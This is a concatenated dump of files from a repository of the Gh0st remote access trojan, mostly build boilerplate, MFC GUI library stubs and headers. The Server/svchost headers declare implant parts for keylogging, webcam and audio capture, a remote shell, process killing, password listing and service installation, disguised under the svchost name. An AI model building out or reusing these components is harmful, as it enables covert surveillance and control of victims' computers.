/gh0st/CJ60Lib/CJ60Lib/CJControlBar.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/CJ60Lib/CJControlBar.cpp -------------------------------------------------------------------------------- /gh0st/CJ60Lib/CJ60Lib/CJDockContext.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/CJ60Lib/CJDockContext.cpp -------------------------------------------------------------------------------- /gh0st/CJ60Lib/CJ60Lib/CJExplorerBar.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/CJ60Lib/CJExplorerBar.cpp -------------------------------------------------------------------------------- /gh0st/CJ60Lib/CJ60Lib/CJFlatButton.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/CJ60Lib/CJFlatButton.cpp -------------------------------------------------------------------------------- /gh0st/CJ60Lib/CJ60Lib/CJMDIFrameWnd.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/CJ60Lib/CJMDIFrameWnd.cpp -------------------------------------------------------------------------------- /gh0st/CJ60Lib/CJ60Lib/CJOutlookBar.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/CJ60Lib/CJOutlookBar.cpp -------------------------------------------------------------------------------- /gh0st/CJ60Lib/CJ60Lib/CJSearchEdit.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/CJ60Lib/CJSearchEdit.cpp -------------------------------------------------------------------------------- /gh0st/CJ60Lib/CJ60Lib/CJSizeDockBar.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/CJ60Lib/CJSizeDockBar.cpp -------------------------------------------------------------------------------- /gh0st/CJ60Lib/CJ60Lib/CJTabctrlBar.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/CJ60Lib/CJTabctrlBar.cpp -------------------------------------------------------------------------------- /gh0st/CJ60Lib/CJ60Lib/res/btn_arro.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/CJ60Lib/res/btn_arro.bmp -------------------------------------------------------------------------------- /gh0st/CJ60Lib/CJ60Lib/res/hsplitba.cur: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/CJ60Lib/res/hsplitba.cur -------------------------------------------------------------------------------- /gh0st/CJ60Lib/CJ60Lib/res/vsplitba.cur: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/CJ60Lib/res/vsplitba.cur -------------------------------------------------------------------------------- /gh0st/CJ60Lib/Include/CJFlatComboBox.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/Include/CJFlatComboBox.h -------------------------------------------------------------------------------- /Server/svchost/common/KeyboardManager.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/Server/svchost/common/KeyboardManager.cpp -------------------------------------------------------------------------------- /gh0st/CJ60Lib/CJ60Lib/CJFlatComboBox.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/CJ60Lib/CJFlatComboBox.cpp -------------------------------------------------------------------------------- /gh0st/CJ60Lib/CJ60Lib/CJFlatHeaderCtrl.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/CJ60Lib/CJFlatHeaderCtrl.cpp -------------------------------------------------------------------------------- /gh0st/CJ60Lib/CJ60Lib/res/btn_explorer.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/CJ60Lib/res/btn_explorer.bmp -------------------------------------------------------------------------------- /gh0st/CJ60Lib/Include/CJFlatHeaderCtrl.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/Include/CJFlatHeaderCtrl.h -------------------------------------------------------------------------------- /gh0st/CJ60Lib/Include/CJMiniDockFrameWnd.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/Include/CJMiniDockFrameWnd.h -------------------------------------------------------------------------------- /gh0st/CJ60Lib/CJ60Lib/CJMiniDockFrameWnd.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/CJ60Lib/CJMiniDockFrameWnd.cpp -------------------------------------------------------------------------------- /gh0st/CJ60Lib/CJ60Lib/res/button_images.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/CJ60Lib/res/button_images.bmp -------------------------------------------------------------------------------- /gh0st/gh0st.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /Server/install/install.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /Server/svchost/svchost.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /gh0st/CJ60Lib/CJ60Lib/CJ60lib.def: -------------------------------------------------------------------------------- 1 | ; CJ60Lib.def : Declares the module parameters for the DLL. 2 | 3 | ;LIBRARY "CJ60Lib" 4 | DESCRIPTION 'CJ60Lib Windows Dynamic Link Library' 5 | 6 | EXPORTS 7 | ; Explicit exports can go here 8 | -------------------------------------------------------------------------------- /gh0st/StdAfx.cpp: -------------------------------------------------------------------------------- 1 | // stdafx.cpp : source file that includes just the standard includes 2 | // gh0st.pch will be the pre-compiled header 3 | // stdafx.obj will contain the pre-compiled type information 4 | 5 | #include "stdafx.h" 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /gh0st/CJ60Lib/CJ60Lib/stdafx.cpp: -------------------------------------------------------------------------------- 1 | // stdafx.cpp : source file that includes just the standard includes 2 | // CJ60Lib.pch will be the pre-compiled header 3 | // stdafx.obj will contain the pre-compiled type information 4 | 5 | #include "stdafx.h" 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /Server/sys/makefile: -------------------------------------------------------------------------------- 1 | # 2 | # DO NOT EDIT THIS FILE!!! Edit .\sources. if you want to add a new source 3 | # file to this component. This file merely indirects to the real make file 4 | # that is shared by all the driver components of the Windows NT DDK 5 | # 6 | 7 | !INCLUDE $(NTMAKEENV)\makefile.def -------------------------------------------------------------------------------- /Server/install/StdAfx.cpp: -------------------------------------------------------------------------------- 1 | // stdafx.cpp : source file that includes just the standard includes 2 | // install.pch will be the pre-compiled header 3 | // stdafx.obj will contain the pre-compiled type information 4 | 5 | #include "stdafx.h" 6 | 7 | // TODO: reference any additional headers you need in STDAFX.H 8 | // and not in this file 9 | -------------------------------------------------------------------------------- /Server/svchost/StdAfx.cpp: -------------------------------------------------------------------------------- 1 | // stdafx.cpp : source file that includes just the standard includes 2 | // svchost.pch will be the pre-compiled header 3 | // stdafx.obj will contain the pre-compiled type information 4 | 5 | #include "stdafx.h" 6 | 7 | // TODO: reference any additional headers you need in STDAFX.H 8 | // and not in this file 9 | -------------------------------------------------------------------------------- /gh0st/CJ60Lib/CJ60Lib/Globals.cpp: -------------------------------------------------------------------------------- 1 | //////////////////////////////////////////////////////////////// 2 | // Copyright 1998 Paul DiLascia 3 | // If this code works, it was written by Paul DiLascia. 4 | // If not, I don't know who wrote it. 5 | // 6 | #include "StdAfx.h" 7 | 8 | #ifdef _DEBUG 9 | int CTraceFn::nIndent=-1; // current TRACE indent level 10 | #endif 11 | -------------------------------------------------------------------------------- /CLEAN.BAT: -------------------------------------------------------------------------------- 1 | @echo off 2 | echo ---------------------------------------------------- 3 | echo Press any key to delete all files with ending: 4 | echo *.aps *.idb *.ncp *.obj *.pch *.tmp *.sbr 5 | echo Visual c++/.Net junk 6 | echo ---------------------------------------------------- 7 | 8 | del /F /Q /S *.aps *.idb *.ncp *.obj *.ipch *.log *.pch *.sbr *.tmp *.pdb *.bsc *.map *.ilk *.res *.ncb *.opt *.suo *.manifest *.dep *.tlog *.sdf *.plg 9 | 10 | 11 | -------------------------------------------------------------------------------- /gh0st/res/gh0st.rc2: -------------------------------------------------------------------------------- 1 | // 2 | // GH0ST.RC2 - resources Microsoft Visual C++ does not edit directly 3 | // 4 | 5 | #ifdef APSTUDIO_INVOKED 6 | #error this file is not editable by Microsoft Visual C++ 7 | #endif //APSTUDIO_INVOKED 8 | 9 | 10 | ///////////////////////////////////////////////////////////////////////////// 11 | // Add manually edited resources here... 12 | 13 | ///////////////////////////////////////////////////////////////////////////// 14 | -------------------------------------------------------------------------------- /gh0st/removejunk.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | echo ---------------------------------------------------- 3 | echo Press any key to delete all files with ending: 4 | echo *.aps *.idb *.ncp *.obj *.pch *.tmp *.sbr 5 | echo Visual c++/.Net junk 6 | echo ---------------------------------------------------- 7 | pause 8 | 9 | del /F /Q /S *.aps *.idb *.ncp *.obj *.pch *.sbr *.tmp *.pdb *.bsc *.ilk *.res *.ncb *.opt *.suo *.manifest *.dep 10 | 11 | 12 | pause 13 | 14 | 15 | -------------------------------------------------------------------------------- /gh0st/CJ60Lib/CJ60Lib/res/cj60lib.rc2: -------------------------------------------------------------------------------- 1 | // 2 | // CJ60LIB.RC2 - resources Microsoft Visual C++ does not edit directly 3 | // 4 | 5 | #ifdef APSTUDIO_INVOKED 6 | #error this file is not editable by Microsoft Visual C++ 7 | #endif //APSTUDIO_INVOKED 8 | 9 | 10 | ///////////////////////////////////////////////////////////////////////////// 11 | // Add manually edited resources here... 12 | 13 | ///////////////////////////////////////////////////////////////////////////// 14 | -------------------------------------------------------------------------------- /Server/svchost/resource.h: -------------------------------------------------------------------------------- 1 | //{{NO_DEPENDENCIES}} 2 | // Microsoft Developer Studio generated include file. 3 | // Used by svchost.rc 4 | // 5 | #define IDR_SYS 102 6 | 7 | // Next default values for new objects 8 | // 9 | #ifdef APSTUDIO_INVOKED 10 | #ifndef APSTUDIO_READONLY_SYMBOLS 11 | #define _APS_NEXT_RESOURCE_VALUE 107 12 | #define _APS_NEXT_COMMAND_VALUE 40001 13 | #define _APS_NEXT_CONTROL_VALUE 1000 14 | #define _APS_NEXT_SYMED_VALUE 101 15 | #endif 16 | #endif 17 | -------------------------------------------------------------------------------- /gh0st/include/Mapper.h: -------------------------------------------------------------------------------- 1 | 2 | #ifndef __IO_MAPPER__ 3 | #define __IO_MAPPER__ 4 | 5 | #define net_msg 6 | 7 | class __declspec(novtable) CIOMessageMap 8 | { 9 | public: 10 | virtual bool ProcessIOMessage(IOType clientIO, ClientContext* pContext, DWORD dwSize) = 0; 11 | }; 12 | 13 | #define BEGIN_IO_MSG_MAP() \ 14 | public: \ 15 | bool ProcessIOMessage(IOType clientIO, ClientContext* pContext, DWORD dwSize = 0) \ 16 | { \ 17 | bool bRet = false; 18 | 19 | #define IO_MESSAGE_HANDLER(msg, func) \ 20 | if (msg == clientIO) \ 21 | bRet = func(pContext, dwSize); 22 | 23 | #define END_IO_MSG_MAP() \ 24 | return bRet; \ 25 | } 26 | 27 | #endif -------------------------------------------------------------------------------- /Server/svchost/common/install.h: -------------------------------------------------------------------------------- 1 | 2 | #if !defined(AFX_INSTALL_H_INCLUDED) 3 | #define AFX_INSTALL_H_INCLUDED 4 | #include 5 | #include 6 | void DeleteInstallFile(char *lpServiceName); 7 | bool IsServiceRegExists(char *lpServiceName); 8 | void ReConfigService(char *lpServiceName); 9 | DWORD QueryServiceTypeFromRegedit(char *lpServiceName); 10 | void RemoveService(LPCTSTR lpServiceName); 11 | LPCTSTR FindConfigString(HMODULE hModule, LPCTSTR lpString); 12 | int memfind(const char *mem, const char *str, int sizem, int sizes); 13 | BOOL RegKeySetACL(LPTSTR lpKeyName, DWORD AccessPermissions, ACCESS_MODE AccessMode); 14 | #endif // !defined(AFX_INSTALL_H_INCLUDED) -------------------------------------------------------------------------------- /Server/install/StdAfx.h: -------------------------------------------------------------------------------- 1 | // stdafx.h : include file for standard system include files, 2 | // or project specific include files that are used frequently, but 3 | // are changed infrequently 4 | // 5 | 6 | #if !defined(AFX_STDAFX_H__A9DB83DB_A9FD_11D0_BFD1_444553540000__INCLUDED_) 7 | #define AFX_STDAFX_H__A9DB83DB_A9FD_11D0_BFD1_444553540000__INCLUDED_ 8 | 9 | #if _MSC_VER > 1000 10 | #pragma once 11 | #endif // _MSC_VER > 1000 12 | 13 | #define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers 14 | 15 | #include 16 | 17 | // TODO: reference additional headers your program requires here 18 | 19 | //{{AFX_INSERT_LOCATION}} 20 | // Microsoft Visual C++ will insert additional declarations immediately before the previous line. 21 | 22 | #endif // !defined(AFX_STDAFX_H__A9DB83DB_A9FD_11D0_BFD1_444553540000__INCLUDED_) 23 | -------------------------------------------------------------------------------- /Server/svchost/common/AudioManager.h: -------------------------------------------------------------------------------- 1 | // AudioManager.h: interface for the CAudioManager class. 2 | // 3 | ////////////////////////////////////////////////////////////////////// 4 | 5 | #if !defined(AFX_AUDIOMANAGER_H__8EB9310D_AEFB_40C5_A4E7_6EE4603CBC69__INCLUDED_) 6 | #define AFX_AUDIOMANAGER_H__8EB9310D_AEFB_40C5_A4E7_6EE4603CBC69__INCLUDED_ 7 | 8 | #if _MSC_VER > 1000 9 | #pragma once 10 | #endif // _MSC_VER > 1000 11 | 12 | #include "Manager.h" 13 | #include "Audio.h" 14 | class CAudioManager : public CManager 15 | { 16 | public: 17 | CAudioManager(CClientSocket *pClient); 18 | virtual ~CAudioManager(); 19 | int sendRecordBuffer(); 20 | virtual void OnReceive(LPBYTE lpBuffer, UINT nSize); 21 | 22 | static bool m_bIsWorking; 23 | private: 24 | bool Initialize(); 25 | 26 | CAudio *m_lpAudio; 27 | HANDLE m_hWorkThread; 28 | static DWORD WINAPI WorkThread(LPVOID lparam); 29 | }; 30 | 31 | #endif // !defined(AFX_AUDIOMANAGER_H__8EB9310D_AEFB_40C5_A4E7_6EE4603CBC69__INCLUDED_) 32 | -------------------------------------------------------------------------------- /gh0st/CJ60Lib/Include/CJFrameInfo.h: -------------------------------------------------------------------------------- 1 | //////////////////////////////////////////////////////////////// 2 | // Copyright 1999 Takehiko Mizoguti 3 | // If this code works, it was written by Takehiko Mizoguti. 4 | // If not, I don't know who wrote it. 5 | // 6 | // CCJFrameInfo implements FrameWindow Info for CCJFrameWnd Families. 7 | // 8 | 9 | #ifndef __CJFRAMEINFO_H__ 10 | #define __CJFRAMEINFO_H__ 11 | 12 | #if _MSC_VER >= 1000 13 | #pragma once 14 | #endif // _MSC_VER >= 1000 15 | 16 | class AFX_EXT_CLASS CCJFrameInfo : public WINDOWPLACEMENT 17 | { 18 | // Construction 19 | public: 20 | CCJFrameInfo(); 21 | 22 | // Attributes 23 | protected: 24 | CFrameWnd* m_pFrameWnd; 25 | CString m_strSection; 26 | CString m_strEntry; 27 | 28 | // Operations 29 | public: 30 | void EnableRestorePlacement( CFrameWnd* pFrame, CString strSection, CString strEntry ); 31 | void LoadFramePlacement(); 32 | void SaveFramePlacement(); 33 | 34 | // Implementation 35 | public: 36 | virtual ~CCJFrameInfo(); 37 | 38 | }; 39 | 40 | #endif // __CLFRAMEINFO_H__ -------------------------------------------------------------------------------- /Server/svchost/common/VideoCap.h: -------------------------------------------------------------------------------- 1 | // VideoCap.h: interface for the CVideoCap class. 2 | // 3 | ////////////////////////////////////////////////////////////////////// 4 | #if !defined(AFX_VIDEOCAP_H__5D857DCE_D889_45B0_8A98_33E1DF64CDE3__INCLUDED_) 5 | #define AFX_VIDEOCAP_H__5D857DCE_D889_45B0_8A98_33E1DF64CDE3__INCLUDED_ 6 | #include 7 | #include 8 | #if _MSC_VER > 1000 9 | #pragma once 10 | #endif // _MSC_VER > 1000 11 | 12 | class CVideoCap 13 | { 14 | public: 15 | HANDLE m_hCaptureEvent; 16 | LPBITMAPINFO m_lpbmi; 17 | static bool IsWebCam(); 18 | bool Initialize(int nWidth = 0, int nHeight = 0); 19 | LPBYTE GetDIB(); 20 | static LRESULT CALLBACK capErrorCallback(HWND hWnd, int nID, LPCSTR lpsz); 21 | static LRESULT CALLBACK FrameCallbackProc(HWND hWnd, LPVIDEOHDR lpVHdr); 22 | CVideoCap(); 23 | virtual ~CVideoCap(); 24 | private: 25 | LPBYTE m_lpDIB; 26 | HWND m_hWnd; 27 | HWND m_hWndCap; 28 | static bool m_bIsConnected; 29 | }; 30 | 31 | #endif // !defined(AFX_VIDEOCAP_H__5D857DCE_D889_45B0_8A98_33E1DF64CDE3__INCLUDED_) 32 | -------------------------------------------------------------------------------- /Server/svchost/common/Manager.h: -------------------------------------------------------------------------------- 1 | // Manager.h: interface for the CManager class. 2 | // 3 | ////////////////////////////////////////////////////////////////////// 4 | 5 | #if !defined(AFX_MANAGER_H__5935556F_19FF_4676_898A_3D750F2F2658__INCLUDED_) 6 | #define AFX_MANAGER_H__5935556F_19FF_4676_898A_3D750F2F2658__INCLUDED_ 7 | 8 | #if _MSC_VER > 1000 9 | #pragma once 10 | #endif // _MSC_VER > 1000 11 | #include 12 | #include "../ClientSocket.h" 13 | #include "macros.h" 14 | #include "until.h" 15 | #ifdef _CONSOLE 16 | #include 17 | #endif 18 | class CManager 19 | { 20 | friend class CClientSocket; 21 | typedef int (*SENDPROC)(LPBYTE lpData, UINT nSize); 22 | public: 23 | CManager(CClientSocket *pClient); 24 | virtual ~CManager(); 25 | virtual void OnReceive(LPBYTE lpBuffer, UINT nSize); 26 | int Send(LPBYTE lpData, UINT nSize); 27 | CClientSocket *m_pClient; 28 | 29 | HANDLE m_hEventDlgOpen; 30 | void WaitForDialogOpen(); 31 | void NotifyDialogIsOpen(); 32 | private: 33 | SENDPROC m_pSendProc; 34 | }; 35 | 36 | #endif // !defined(AFX_MANAGER_H__5935556F_19FF_4676_898A_3D750F2F2658__INCLUDED_) 37 | -------------------------------------------------------------------------------- /gh0st.dsw: -------------------------------------------------------------------------------- 1 | Microsoft Developer Studio Workspace File, Format Version 6.00 2 | # WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! 3 | 4 | ############################################################################### 5 | 6 | Project: "gh0st"=.\gh0st\gh0st.dsp - Package Owner=<4> 7 | 8 | Package=<5> 9 | {{{ 10 | }}} 11 | 12 | Package=<4> 13 | {{{ 14 | }}} 15 | 16 | ############################################################################### 17 | 18 | Project: "install"=.\Server\install\install.dsp - Package Owner=<4> 19 | 20 | Package=<5> 21 | {{{ 22 | }}} 23 | 24 | Package=<4> 25 | {{{ 26 | }}} 27 | 28 | ############################################################################### 29 | 30 | Project: "svchost"=.\Server\svchost\svchost.dsp - Package Owner=<4> 31 | 32 | Package=<5> 33 | {{{ 34 | }}} 35 | 36 | Package=<4> 37 | {{{ 38 | }}} 39 | 40 | ############################################################################### 41 | 42 | Global: 43 | 44 | Package=<5> 45 | {{{ 46 | }}} 47 | 48 | Package=<3> 49 | {{{ 50 | }}} 51 | 52 | ############################################################################### 53 | 54 | -------------------------------------------------------------------------------- /Server/svchost/common/ShellManager.h: -------------------------------------------------------------------------------- 1 | // ShellManager.h: interface for the CShellManager class. 2 | // 3 | ////////////////////////////////////////////////////////////////////// 4 | 5 | #if !defined(AFX_SHELLMANAGER_H__CCDCEFAB_AFD9_4F2C_A633_637ECB94B6EE__INCLUDED_) 6 | #define AFX_SHELLMANAGER_H__CCDCEFAB_AFD9_4F2C_A633_637ECB94B6EE__INCLUDED_ 7 | 8 | #if _MSC_VER > 1000 9 | #pragma once 10 | #endif // _MSC_VER > 1000 11 | 12 | #include "Manager.h" 13 | 14 | class CShellManager : public CManager 15 | { 16 | public: 17 | CShellManager(CClientSocket *pClient); 18 | virtual ~CShellManager(); 19 | virtual void OnReceive(LPBYTE lpBuffer, UINT nSize); 20 | private: 21 | HANDLE m_hReadPipeHandle; 22 | HANDLE m_hWritePipeHandle; 23 | HANDLE m_hReadPipeShell; 24 | HANDLE m_hWritePipeShell; 25 | 26 | HANDLE m_hProcessHandle; 27 | HANDLE m_hThreadHandle; 28 | HANDLE m_hThreadRead; 29 | HANDLE m_hThreadMonitor; 30 | 31 | static DWORD WINAPI ReadPipeThread(LPVOID lparam); 32 | static DWORD WINAPI MonitorThread(LPVOID lparam); 33 | }; 34 | 35 | #endif // !defined(AFX_SHELLMANAGER_H__CCDCEFAB_AFD9_4F2C_A633_637ECB94B6EE__INCLUDED_) 36 | -------------------------------------------------------------------------------- /Server/svchost/common/SystemManager.h: -------------------------------------------------------------------------------- 1 | // SystemManager.h: interface for the CSystemManager class. 2 | // 3 | ////////////////////////////////////////////////////////////////////// 4 | 5 | #if !defined(AFX_SYSTEMMANAGER_H__26C71561_C37D_44F2_B69C_DAF907C04CBE__INCLUDED_) 6 | #define AFX_SYSTEMMANAGER_H__26C71561_C37D_44F2_B69C_DAF907C04CBE__INCLUDED_ 7 | 8 | #if _MSC_VER > 1000 9 | #pragma once 10 | #endif // _MSC_VER > 1000 11 | 12 | #include "Manager.h" 13 | 14 | class CSystemManager : public CManager 15 | { 16 | public: 17 | CSystemManager(CClientSocket *pClient); 18 | virtual ~CSystemManager(); 19 | virtual void OnReceive(LPBYTE lpBuffer, UINT nSize); 20 | 21 | static bool DebugPrivilege(const char *PName,BOOL bEnable); 22 | static bool CALLBACK EnumWindowsProc( HWND hwnd, LPARAM lParam); 23 | static void ShutdownWindows(DWORD dwReason); 24 | private: 25 | LPBYTE getProcessList(); 26 | LPBYTE getWindowsList(); 27 | void SendProcessList(); 28 | void SendWindowsList(); 29 | void SendDialupassList(); 30 | void KillProcess(LPBYTE lpBuffer, UINT nSize); 31 | }; 32 | 33 | #endif // !defined(AFX_SYSTEMMANAGER_H__26C71561_C37D_44F2_B69C_DAF907C04CBE__INCLUDED_) 34 | -------------------------------------------------------------------------------- /Server/svchost/common/Buffer.h: -------------------------------------------------------------------------------- 1 | // Buffer.h: interface for the CBuffer class. 2 | // 3 | ////////////////////////////////////////////////////////////////////// 4 | 5 | #if !defined(AFX_BUFFER_H__829F6693_AC4D_11D2_8C37_00600877E420__INCLUDED_) 6 | #define AFX_BUFFER_H__829F6693_AC4D_11D2_8C37_00600877E420__INCLUDED_ 7 | 8 | #if _MSC_VER > 1000 9 | #pragma once 10 | #endif // _MSC_VER > 1000 11 | #include 12 | class CBuffer 13 | { 14 | // Attributes 15 | protected: 16 | PBYTE m_pBase; 17 | PBYTE m_pPtr; 18 | UINT m_nSize; 19 | 20 | 21 | // Methods 22 | protected: 23 | UINT ReAllocateBuffer(UINT nRequestedSize); 24 | UINT DeAllocateBuffer(UINT nRequestedSize); 25 | UINT GetMemSize(); 26 | public: 27 | void ClearBuffer(); 28 | 29 | UINT Delete(UINT nSize); 30 | UINT Read(PBYTE pData, UINT nSize); 31 | BOOL Write(PBYTE pData, UINT nSize); 32 | UINT GetBufferLen(); 33 | int Scan(PBYTE pScan,UINT nPos); 34 | BOOL Insert(PBYTE pData, UINT nSize); 35 | 36 | void Copy(CBuffer& buffer); 37 | 38 | PBYTE GetBuffer(UINT nPos=0); 39 | 40 | CBuffer(); 41 | virtual ~CBuffer(); 42 | private: 43 | CRITICAL_SECTION m_cs; 44 | }; 45 | 46 | #endif // !defined(AFX_BUFFER_H__829F6693_AC4D_11D2_8C37_00600877E420__INCLUDED_) 47 | -------------------------------------------------------------------------------- /gh0st/IniFile.h: -------------------------------------------------------------------------------- 1 | // IniFile.h: interface for the CIniFile class. 2 | // 3 | ////////////////////////////////////////////////////////////////////// 4 | 5 | #if !defined(AFX_INIFILE_H__D5A2B7FC_6022_4EA2_9E54_91C4E7B31B8E__INCLUDED_) 6 | #define AFX_INIFILE_H__D5A2B7FC_6022_4EA2_9E54_91C4E7B31B8E__INCLUDED_ 7 | 8 | #if _MSC_VER > 1000 9 | #pragma once 10 | #endif // _MSC_VER > 1000 11 | 12 | class CIniFile 13 | { 14 | public: 15 | CIniFile(); 16 | virtual ~CIniFile(); 17 | void SetIniFileName(CString FileName){ IniFileName = FileName; } 18 | CString GetIniFileName(){ return IniFileName; } 19 | 20 | CString GetString(CString AppName, CString KeyName, CString Default = ""); 21 | int GetInt(CString AppName, CString KeyName, int Default = 0); 22 | unsigned long GetDWORD(CString AppName, CString KeyName, unsigned long Default = 0); 23 | 24 | BOOL SetString(CString AppName, CString KeyName, CString Data); 25 | BOOL SetInt(CString AppName, CString KeyName, int Data); 26 | BOOL SetDouble(CString AppName, CString KeyName, double Data); 27 | BOOL SetDWORD(CString AppName, CString KeyName, unsigned long Data); 28 | private: 29 | CString IniFileName; 30 | }; 31 | 32 | #endif // !defined(AFX_INIFILE_H__D5A2B7FC_6022_4EA2_9E54_91C4E7B31B8E__INCLUDED_) 33 | -------------------------------------------------------------------------------- /Server/svchost/common/VideoManager.h: -------------------------------------------------------------------------------- 1 | // VideoManager.h: interface for the CVideoManager class. 2 | // 3 | ////////////////////////////////////////////////////////////////////// 4 | 5 | #if !defined(AFX_VIDEOMANAGER_H__1EE359F0_BFFD_4B8F_A52E_A8DB87656B91__INCLUDED_) 6 | #define AFX_VIDEOMANAGER_H__1EE359F0_BFFD_4B8F_A52E_A8DB87656B91__INCLUDED_ 7 | 8 | #if _MSC_VER > 1000 9 | #pragma once 10 | #endif // _MSC_VER > 1000 11 | 12 | #include "Manager.h" 13 | #include "VideoCap.h" 14 | #include "VideoCodec.h" 15 | class CVideoManager : public CManager 16 | { 17 | public: 18 | void Destroy(); 19 | bool Initialize(); 20 | CVideoManager(CClientSocket *pClient); 21 | virtual ~CVideoManager(); 22 | virtual void OnReceive(LPBYTE lpBuffer, UINT nSize); 23 | void sendBITMAPINFO(); 24 | void sendNextScreen(); 25 | bool m_bIsWorking; 26 | private: 27 | CVideoCap *m_pVideoCap; 28 | CVideoCodec *m_pVideoCodec; 29 | DWORD m_fccHandler; 30 | int m_nVedioWidth; 31 | int m_nVedioHeight; 32 | 33 | bool m_bIsCompress; 34 | HANDLE m_hWorkThread; 35 | void ResetScreen(int nWidth, int nHeight); 36 | static DWORD WINAPI WorkThread(LPVOID lparam); 37 | 38 | }; 39 | 40 | #endif // !defined(AFX_VIDEOMANAGER_H__1EE359F0_BFFD_4B8F_A52E_A8DB87656B91__INCLUDED_) 41 | -------------------------------------------------------------------------------- /gh0st/CJ60Lib/CJ60Lib/resource.h: -------------------------------------------------------------------------------- 1 | //{{NO_DEPENDENCIES}} 2 | // Microsoft Developer Studio generated include file. 3 | // Used by CJ60Lib.rc 4 | // 5 | #define IDS_HIDE 5000 6 | #define IDS_EXPAND 5001 7 | #define IDS_CONTRACT 5002 8 | #define IDB_BUTTON_IMAGES 5003 9 | #define IDC_TABCTRLBAR 5003 10 | #define IDR_CBAR_POPUP 5004 11 | #define IDC_URL_CODEJOCKEY 5005 12 | #define IDB_BTN_EXPLORER 5006 13 | #define IDM_CBAR_MENU 5007 14 | #define IDC_BUTTON_HIDE 5008 15 | #define IDC_BUTTON_MINI 5009 16 | #define IDC_BAR_BUTTON 5010 17 | #define IDC_BAR_CAPTION 5011 18 | #define IDB_BTN_ARROW 5012 19 | #define IDC_VSPLITBAR 5015 20 | #define IDC_HSPLITBAR 5016 21 | 22 | // Next default values for new objects 23 | // 24 | #ifdef APSTUDIO_INVOKED 25 | #ifndef APSTUDIO_READONLY_SYMBOLS 26 | #define _APS_NEXT_RESOURCE_VALUE 5017 27 | #define _APS_NEXT_COMMAND_VALUE 5012 28 | #define _APS_NEXT_CONTROL_VALUE 5012 29 | #define _APS_NEXT_SYMED_VALUE 5012 30 | #endif 31 | #endif 32 | -------------------------------------------------------------------------------- /gh0st/encode.h: -------------------------------------------------------------------------------- 1 | 2 | static char base64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; 3 | 4 | int base64_encode(const void *data, int size, char **str) 5 | { 6 | char *s, *p; 7 | int i; 8 | int c; 9 | const unsigned char *q; 10 | 11 | p = s = (char*)malloc(size*4/3+4); 12 | if (p == NULL) 13 | return -1; 14 | q = (const unsigned char*)data; 15 | i=0; 16 | for(i = 0; i < size;){ 17 | c=q[i++]; 18 | c*=256; 19 | if(i < size) 20 | c+=q[i]; 21 | i++; 22 | c*=256; 23 | if(i < size) 24 | c+=q[i]; 25 | i++; 26 | p[0]=base64[(c&0x00fc0000) >> 18]; 27 | p[1]=base64[(c&0x0003f000) >> 12]; 28 | p[2]=base64[(c&0x00000fc0) >> 6]; 29 | p[3]=base64[(c&0x0000003f) >> 0]; 30 | if(i > size) 31 | p[3]='='; 32 | if(i > size+1) 33 | p[2]='='; 34 | p+=4; 35 | } 36 | *p=0; 37 | *str = s; 38 | return strlen(s); 39 | } 40 | 41 | char* MyEncode(char *str) 42 | { 43 | int i, len; 44 | char *p; 45 | char *s, *data; 46 | len = strlen(str) + 1; 47 | s = (char *)malloc(len); 48 | memcpy(s, str, len); 49 | for (i = 0; i < len; i++) 50 | { 51 | s[i] ^= 0x19; 52 | s[i] += 0x86; 53 | } 54 | base64_encode(s, len, &data); 55 | free(s); 56 | return data; 57 | } 58 | -------------------------------------------------------------------------------- /gh0st/include/Buffer.h: -------------------------------------------------------------------------------- 1 | // Buffer.h: interface for the CBuffer class. 2 | // 3 | 